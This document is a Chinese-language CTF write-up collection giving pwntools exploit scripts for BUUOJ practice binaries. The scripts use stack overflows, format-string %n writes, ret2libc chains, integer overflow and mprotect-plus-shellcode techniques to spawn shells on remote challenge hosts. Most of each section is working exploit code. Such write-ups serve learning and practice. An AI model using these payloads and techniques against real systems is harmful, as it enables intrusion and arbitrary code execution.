rip
1 2 3 4 5 6 7
| from pwn import * r = process("./pwn1")
offset = 0xF + 8 payload = offset * b'A' + p64(0x00401186) r.sendline(payload) r.interactive()
|
warmup_csaw_2016
1 2 3 4 5 6 7
| from pwn import *
r = remote("node5.buuoj.cn", 27538) offset = 0x40 + 8 payload = offset * b'A' + p64(0x00400611) r.sendline(payload) r.interactive()
|
ciscn_2019_n_1
1 2 3 4 5 6 7
| from pwn import *
r = remote("node5.buuoj.cn", 26185) offset = 0x30 - 0x4 payload = offset * b'A' + p32(0x41348000) r.sendline(payload) r.interactive()
|
pwn1_sctf_2016
1 2 3 4 5 6 7
| from pwn import *
r = remote("node5.buuoj.cn", 27721) offset = 0x3C payload = (offset // 3) * b'I' + b'AAAA' + p32(0x08048F13) r.sendline(payload) r.interactive()
|
jarvisoj_level0
1 2 3 4 5 6 7
| from pwn import *
r = remote("node5.buuoj.cn", 27041) offset = 128 + 8 payload = offset * b'A' + p64(0x00400597) r.sendline(payload) r.interactive()
|
[第五空间2019 决赛]PWN5
格式化字符串,printf
的参数分别为 format_string_addr, arg0, arg1, arg2...
,假设这个格式化字符串里面有个 %s
,我们让这个 %s
为 aaaa
,然后后面一直找,比如 aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x...
,那么总会找到 format_string_addr
指向的栈空间,也就是 61616161 (hex(aaaa))
开头的一段栈空间。
输入的参数的个数是不固定的,是由前面的格式化字符串决定的,所以我们只要控制了前面的格式化字符串,再结合一些参数,后面输出什么就是由我们决定的
- %d 用于读取10进制数值
- %x 用于读取16进制数值
- %s 用于读取字符串值
- %n 用于读取前面字符串的长度并写入某个内存地址

这道题是检查我们输入的数是不是等于一个随机数,那么我们把这个随机数覆写成我们指定的数即可,可以利用 %n
来实现,构造完这个格式化字符串后,format_string_addr
指向的栈空间依次是 format_addr, format_addr + 1, format_addr + 2, format_addr + 3
,而 format_addr
离 format_string_addr
的距离是 10, 11, 12, 13
(这里是4字节),下面这个例子在前面加了 aaaa
,那么距离就变成了 11, 12, 13, 14
。
覆写的值和格式化字符串的长度有关系,四个地址长度是 16,那么每个值就被覆写成 0x10
,而如果前面加了一个 aaaa
,覆写的值就是 0x14
1 2 3 4 5 6 7 8 9 10 11
| from pwn import *
r = remote("node5.buuoj.cn", 26966) format_addr = 0x804C044 payload = b'aaaa' + p32(format_addr) + p32(format_addr + 1) + p32(format_addr + 2) + p32(format_addr + 3) payload += b"%11$n%12$n%13$n%14$n" r.recvuntil("your name:") r.sendline(payload) r.recvuntil("your passwd:") r.sendline(str(0x14141414)) r.interactive()
|
jarvisoj_level2
1 2 3 4 5 6 7 8 9 10 11
| from pwn import *
r = remote("node5.buuoj.cn", 28214)
offset = 0x88 + 4 binsh_addr = 0x0804A024 system_addr = 0x0804845C payload = offset * b'A' + p32(system_addr) + p32(binsh_addr)
r.sendline(payload) r.interactive()
|
ciscn_2019_n_8
1 2 3 4 5 6
| from pwn import *
r = remote("node5.buuoj.cn", 28010) payload = p32(17) * 14 r.sendline(payload) r.interactive()
|
bjdctf_2020_babystack
1 2 3 4 5 6 7 8 9 10
| from pwn import *
r = remote("node5.buuoj.cn", 25843) r.recvuntil("[+]Please input the length of your name:\n") r.sendline("1000") offset = 0x10 + 8 payload = offset * b'A' + p64(0x004006EA) r.recvuntil("[+]What's u name?\n") r.sendline(payload) r.interactive()
|
ciscn_2019_c_1
逆向分析
先输入1,然后进入 encrypt
,里面有加密会把输入的数据修改了,有 gets,缓冲区大小 0x50

可以用 \0
把字符串截断这样 strlen
就没法获取后面的长度了,同时这道题没有后门和bin/sh
这种字符串,需要 ret2libc
泄漏 libc 版本
先复习一下函数退出的时候执行的汇编,一般会有这些
1 2 3
| mov esp, ebp # 此时栈顶是 ebp 指向的地址 pop ebp # 此时栈顶是 return address ret # 此时栈顶是 return address 再上一个地址,到了 caller 的栈顶
|
而我们知道 call
指令等价于 push 下一条指令首地址; jmp addr
, ret
指令则会把当前的栈顶出栈然后赋值给 RIP
32位
在x32程序中,puts函数通过栈空间直接传参,因此我们可以控制栈成这样:
1 2 3 4
| caller's ebp aaaa return address puts@PLT # 这里是要利用 puts 或者 write 函数将地址泄漏出来 addr1 puts return address #恢复起始地址 addr2 puts@GOT # 这里只要任意一个执行过的Glibc函数即可
|
为什么可以这样呢?
在执行完 ret
指令后,此时 ESP 指向的是 addr1 这个位置,那么 puts return address
就变成了栈顶,参数 puts@GOT
在其下一位。
这就是一个通过栈进行传参,栈顶是 puts
函数的返回地址(因为 PLT 是直接 JMP 到 puts@GOT
的,所以这里 puts return address
作为栈顶相当于执行了 call
指令的第一步),最后输出 puts@GOT
,再返回到我们指定的地址继续运行。
64位
32位采用栈传参,而64位程序函数的前六个参数分别用寄存器 rdi, rsi, rdx, rcx, r8, r9
传参,后续参数采用栈传参。另外64位程序还有个栈平衡的问题,在最后的payload中需要添加一个ret指令的地址。
构造如下
1 2 3 4 5
| caller's rbp aaaaaaaa return address pop rdi, ret (gadget) # 找一段 gadget 把栈顶数据 pop 到 rdi 寄存器中,再弹出栈顶到 rip 中 addr1 puts@GOT # puts@GOT 刚好在callee ret后的栈顶,被 pop 到了 rdi 寄存器 addr2 puts@PLT # pop 完 puts@GOT,puts@PLT 被 pop 到 rip 进入 puts 函数执行 addr3 puts return address # 保持栈帧平衡,加入 puts 函数的返回地址
|
payload1
先找一个 gadget

获取 puts 函数的 GOT 和 PLT 表地址,以及返回地址 main address
,这里我们让其重新执行 main 函数
1 2 3 4
| pop_rdi_addr = 0x0000000000400c83 puts_plt_addr = e.plt["puts"] puts_got_addr = e.got["puts"] main_addr = e.symbols["main"]
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import *
r = remote("node5.buuoj.cn", 27490) r = process("./ciscn_2019_c_1")
e = ELF("./ciscn_2019_c_1")
puts_plt_addr = e.plt["puts"] puts_got_addr = e.got["puts"] main_addr = e.symbols["main"] pop_rdi_addr = 0x0000000000400c83
r.recvuntil("Input your choice!") r.sendline("1")
offset = 0x50 + 8 - 1 payload = b'\0' + offset * b'a' + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr) r.recvuntil("Input your Plaintext to be encrypted\n") r.sendline(payload)
puts_addr = u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) print(hex(puts_addr))
|
利用在线网站 https://libc.rip/ 或者 libSearcher 找到对应版本的 libc
1
| libc=LibcSearcher('puts',puts_addr)
|
构造 ROP
用相同的方法,有了 libc 以后,我们算出可以计算出装载时的偏移量,再计算出 system 函数和 bin/sh
的地址
1 2 3 4
| libc=LibcSearcher('puts',puts_addr) offset=puts_addr-libc.dump('puts') binsh=offset+libc.dump('str_bin_sh') system=offset+libc.dump('system')
|
但是这里注意到由于程序是部署再 Ubuntu18上的,所以需要找一段 ret
的gadget作为栈对齐,具体可以看这篇博客
1 2 3 4 5
| caller's rbp aaaaaaaa return address ret gadget addr1 pop rdi, ret gadget addr2 "bin/sh" addr addr3 system addr
|
返回时先执行 ret gadget
,再执行 pop rdi, ret
,存入 bin/sh
字符串,然后作为 system addr
的参数进行调用即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import *
r = remote("node5.buuoj.cn", 27461)
e = ELF("./ciscn_2019_c_1")
puts_plt_addr = e.plt["puts"] puts_got_addr = e.got["puts"] main_addr = e.symbols["_start"] pop_rdi_addr = 0x0000000000400c83
r.recvuntil("Input your choice!\n") r.sendline("1")
offset = 0x50 + 8 - 1 payload = b'\0' + offset * b'a' + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr) r.recvuntil("Input your Plaintext to be encrypted\n") r.sendline(payload)
puts_addr = u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) print(hex(puts_addr))
libc = ELF("./libc6_2.27-0ubuntu2_amd64.so")
offset = puts_addr - libc.symbols['puts'] binsh_addr = offset + next(libc.search(b'/bin/sh')) system_addr = offset + libc.symbols['system'] ret_addr = 0x00000000004006b9
r.recvuntil("Input your choice!\n") r.sendline("1") offset = 0x50 + 8 - 1 payload2 = b'\0' + (offset * b'a') + p64(ret_addr) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
r.recvuntil("Input your Plaintext to be encrypted\n") r.sendline(payload2)
r.interactive()
|
get_started_3dsctf_2016
main
函数存在栈溢出,注意这里根本就没有 push ebp,所以溢出完缓冲区就是 ret addr

一个直观的思路就是ret到 0x080489B8

嫖了学姐一个pwndbg调试板子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * elf_path = "./get_started_3dsctf_2016" ip = "" port = "" content = 1
context(os='linux',arch='x86/amd64/x86_64',log_level='debug') if content == 1: os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] p = gdb.debug(elf_path, 'b main')
else: p = remote(ip, port)
r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
offset = 0x38 payload = offset * b'a' payload += p32(0x080489B8) sl(payload) p.interactive()
|
初代脚本:
1 2 3 4 5 6 7 8
| from pwn import * r = process('./get_started_3dsctf_2016') context.log_level = 'debug'
payload = 'a'*56 payload += p32(0x080489B8) r.sendline(payload) r.recv()
|
这个脚本不是很行,因为很多变量没初始化文件不知道读到哪儿了,所以需要构造参数 a1
和 a2
,因为这个程序没有 ebp,我们可以采用 get_flag addr + ret addr + arg0 + arg1
的格式来覆写,get_flag的返回地址,这个地址不能乱写,打远程时,如果程序是异常退出了,最后是不给你回显的。所以我们得想办法让程序正常退出,C语言有个函数是exit,只要执行这个只要我们把get_flag的返回地址写成exit的地址,程序就可以结束并且有回显了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * elf_path = "./get_started_3dsctf_2016" ip = "" port = "" content = 1
context(os='linux',arch='x86/amd64/x86_64',log_level='debug') if content == 1: os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] p = gdb.debug(elf_path, 'b main')
else: p = remote(ip, port)
r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
offset = 0x38 payload = offset * b'a' payload += p32(0x080489A0) + p32(0x0804E6A0) payload += p32(0x308CD64F) + p32(0x195719D1) sl(payload) p.interactive()
|
这么做是可以做出来的,但是是非预期,题目本意应该是通过给bss段赋可执行权限来做
通过mprotect把bss中的一个页拿出来复制成可读可写可执行,然后写入一段shellcode,通过 read 函数读到指定地址,同时返回到该地址即可,注意找一个 pop_3_ret
把 mprotect 的三个参数弹栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import * q = remote('node5.buuoj.cn',29645)
context.log_level = 'debug'
mprotect = 0x0806EC80 buf = 0x80ea000 pop_3_ret = 0x0804f460 read_addr = 0x0806E140
payload = 'a'*56 payload += p32(mprotect) payload += p32(pop_3_ret) payload += p32(buf) payload += p32(0x1000) payload += p32(0x7) payload += p32(read_addr) payload += p32(buf) payload += p32(0) payload += p32(buf) payload += p32(0x100) q.sendline(payload) sleep(0.1)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux') q.sendline(shellcode) sleep(0.1) q.interactive()
|
jarvisoj_level2_x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import * elf_path = "./get_started_3dsctf_2016" ip = "node5.buuoj.cn" port = 25495 content = 0
context(os='linux',arch='x86/amd64/x86_64',log_level='debug') if content == 1: os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] p = gdb.debug(elf_path, 'b main')
else: p = remote(ip, port)
r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
pop_rdi = 0x00000000004006b3 bin_sh = 0x0000000000600A90 ret_addr = 0x0000000000400603 offset = 0x80 + 8 payload = b'a' * offset payload += p64(pop_rdi) + p64(bin_sh) + p64(ret_addr) p.sendline(payload) p.interactive()
|
[OGeek2019]babyrop

main 函数现获取一个随机数

然后用户输入,把随机数转成一个 int 型字符串,不用管这些,注意到有个 strncmp
,可以用 \0
绕过,让 v1=0
,然后返回的是 input[7]
,作为下一个函数的参数

这个 a1
最大只能是 255,所以只能让 input[7] = 0xFF
,然后覆写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import * elf_path = "./pwn" ip = "node5.buuoj.cn" port = 29442 content = 0
context(os='linux',arch='x86/amd64/x86_64',log_level='debug') if content == 1: os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] p = process(elf_path)
else: p = remote(ip, port)
r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
payload1 = b'\0' + b'a' * 6 + b'\xff'
sl(payload1) ru("Correct\n")
libc = ELF("./libc-2.23.so") bin = ELF("./pwn") system_libc = libc.symbols["system"] bin_sh_libc = next(libc.search(b'/bin/sh')) read_libc = libc.symbols["read"] read_got = bin.got["read"] write_plt = bin.plt["write"] ret_addr = 0x080487D0
offset = 231 + 4
payload2 = b'a' * offset + p32(write_plt) + p32(ret_addr) + p32(1) + p32(read_got) + p32(4) sl(payload2) read_addr = u32(rx(4)) print(read_addr)
offset = read_addr - read_libc system_addr = system_libc + offset bin_sh_addr = bin_sh_libc + offset
offset = 231 + 4 payload3 = b'a' * offset + p32(system_addr) + p32(ret_addr) + p32(bin_sh_addr) sl(payload3) p.interactive()
|
not_the_same_3dsctf_2016
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * elf_path = "./not_the_same_3dsctf_2016" ip = "node5.buuoj.cn" port = 28947 content = 0
context(os='linux',arch='i386',log_level='debug')
if content == 1: os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] p = process(elf_path)
else: p = remote(ip, port)
r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
offset = 0x2D buf = 0x080EC000 pop_3_addr = 0x08050b45 mportect_addr = 0x0806ED40 read_addr = 0x0806E200
payload = offset * b'a' payload += p32(mportect_addr) + p32(pop_3_addr) + p32(buf) + p32(0x1000) + p32(7) payload += p32(read_addr) + p32(buf) + p32(0) + p32(buf) + p32(0x100) sl(payload)
shellcode = asm(shellcraft.sh()) sl(shellcode) p.interactive()
|
ciscn_2019_en_2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import * elf_path = "./ciscn_2019_en_2" ip = "node5.buuoj.cn" port = 27008 content = 0
context(os='linux',arch='amd64',log_level='debug') if content == 1: os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] p = process(elf_path)
else: p = remote(ip, port)
r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
sla("Input your choice!\n", '1') ru("Input your Plaintext to be encrypted\n") offset = 0x50 + 8 - 1 elf = ELF("./ciscn_2019_en_2") puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] ret_addr = 0x00000000004009A0 pop_rdi_addr = 0x0000000000400c83
payload = b'\0' + offset * b'a' payload += p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(ret_addr)
sl(payload) puts_addr = u64(ru(b"\x7f")[-6:].ljust(8,b"\x00"))
libc = ELF("./libc6_2.27-0ubuntu2_amd64.so") puts_libc = libc.symbols["puts"] bin_sh_libc = next(libc.search(b"/bin/sh")) system_libc = libc.symbols["system"] ret_addr = 0x00000000004006b9
offset = puts_addr - puts_libc bin_sh_addr = offset + bin_sh_libc system_addr = offset + system_libc
offset = 0x50 + 8 - 1
ru("Input your Plaintext to be encrypted\n")
payload = b'\0' + offset * b'a' payload += p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr) sl(payload)
p.interactive()
|
ciscn_2019_ne_5

addLog
给参数赋值,这里覆写不到,没法利用,但是发现 GetFlag
有个 strcpy
,正好把参数赋值给 dest
存在溢出


没有 /bin/sh
搜索 /bin/sh
或者 sh
即可
1
| ROPgadget --binary ciscn_2019_ne_5 --string "sh"
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import * elf_path = "./ciscn_2019_ne_5" ip = "node5.buuoj.cn" port = 26718 content = 0
context(os='linux',arch='amd64',log_level='debug') if content == 1: os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] p = process(elf_path)
else: p = remote(ip, port)
r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ru("Please input admin password:") sl("administrator") ru("0.Exit\n:") sl("1") ru("Please input new log info:") offset = 0x48 + 4 sh_addr = 0x080482ea system_addr = 0x080484D0 ret_addr = 0x080484E0
payload = offset * b'a' + p32(system_addr) + p32(ret_addr) + p32(sh_addr) sl(payload)
ru("0.Exit\n:") sl("4")
p.interactive()
|
铁人三项(第五赛区)_2018_rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import * from LibcSearcher import * elf_path = "./2018_rop" ip = "node5.buuoj.cn" port = 27738 content = 0
context(os='linux',arch='amd64',log_level='debug') if content == 1: os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] p = process(elf_path)
else: p = remote(ip, port)
r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
elf = ELF("./2018_rop")
offset = 0x88 + 4 read_got = elf.got["read"] write_plt = elf.plt["write"] write_got = elf.got["write"] main_addr = elf.symbols["main"]
payload = b'a' * offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4) sl(payload) read_addr = u32(rx(4).ljust(4, b'\0')) print(hex(read_addr))
payload = b'a' * offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) sl(payload) write_addr = u32(rx(4).ljust(4, b'\0')) print(hex(write_addr))
libc = ELF("./libc6-i386_2.27-3ubuntu1_amd64.so")
offset = read_addr - libc.symbols["read"] system_addr = offset + libc.symbols["system"] bin_sh_addr = offset + next(libc.search("/bin/sh")) ret_addr = 0x08048199
offset = 0x88 + 4 payload = b'a' * offset + p32(ret_addr) + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
sl(payload)
p.interactive()
|
bjdctf_2020_babystack2
整数溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from pwn import * from LibcSearcher import * elf_path = "./bjdctf_2020_babystack2" ip = "node5.buuoj.cn" port = 25288 content = 0
context(os='linux',arch='amd64',log_level='debug') if content == 1: os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] p = process(elf_path)
else: p = remote(ip, port)
r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
elf = ELF("./bjdctf_2020_babystack2")
ru("[+]Please input the length of your name:") sl("4294967295") ru("[+]What's u name?")
offset = 0x10 + 8 system_addr = 0x000000000040072A payload = b'a' * offset + p64(system_addr) sl(payload)
p.interactive()
|
bjdctf_2020_babyrop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import * elf_path = "./bjdctf_2020_babyrop" ip = "node5.buuoj.cn" port = 29179 content = 0
context(os='linux',arch='amd64',log_level='debug') if content == 1: os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] p = gdb.debug(elf_path, 'b main')
else: p = remote(ip, port)
r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
elf = ELF("./bjdctf_2020_babyrop")
offset = 0x20 + 8 puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] pop_rdi = 0x0000000000400733 vlun_addr = 0x000000000040067D
payload = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vlun_addr) ru("Pull up your sword and tell me u story!\n") sl(payload) puts_addr = u64(r().ljust(8, b'\0')) print(hex(puts_addr))
read_got = elf.got["read"] payload = b'a' * offset + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(vlun_addr) ru("Pull up your sword and tell me u story!\n") sl(payload) read_addr = u64(r().ljust(8, b'\0')) print(hex(read_addr))
libc = ELF("./libc6_2.23-0ubuntu10_amd64.so")
offset = read_addr - libc.symbols["read"] system_addr = offset + libc.symbols["system"] bin_sh_addr = offset + next(libc.search("/bin/sh")) ret_addr = 0x00000000004004c9
offset = 0x20 + 8 payload = b'a' * offset + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
ru("Pull up your sword and tell me u story!\n") sl(payload)
p.interactive()
|
jarvisoj_fm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * elf_path = "./fm" ip = "node5.buuoj.cn" port = 27666 content = 0
context(os='linux',arch='amd64',log_level='debug') if content == 1: os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] p = gdb.debug(elf_path, 'b main')
else: p = remote(ip, port)
r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
x_addr = 0x0804A02C payload = p32(x_addr) + b'%11$n'
sl(payload) p.interactive()
|
jarvisoj_tell_me_something
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import * elf_path = "./guestbook" ip = "node5.buuoj.cn" port = 27577 content = 0
context(os='linux',arch='amd64',log_level='debug') if content == 1: os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] p = gdb.debug(elf_path, 'b main')
else: p = remote(ip, port)
r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
offset = 0x88 get_flag = 0x0000000000400620 payload = b'a' * offset + p64(get_flag) r() sl(payload)
p.interactive()
|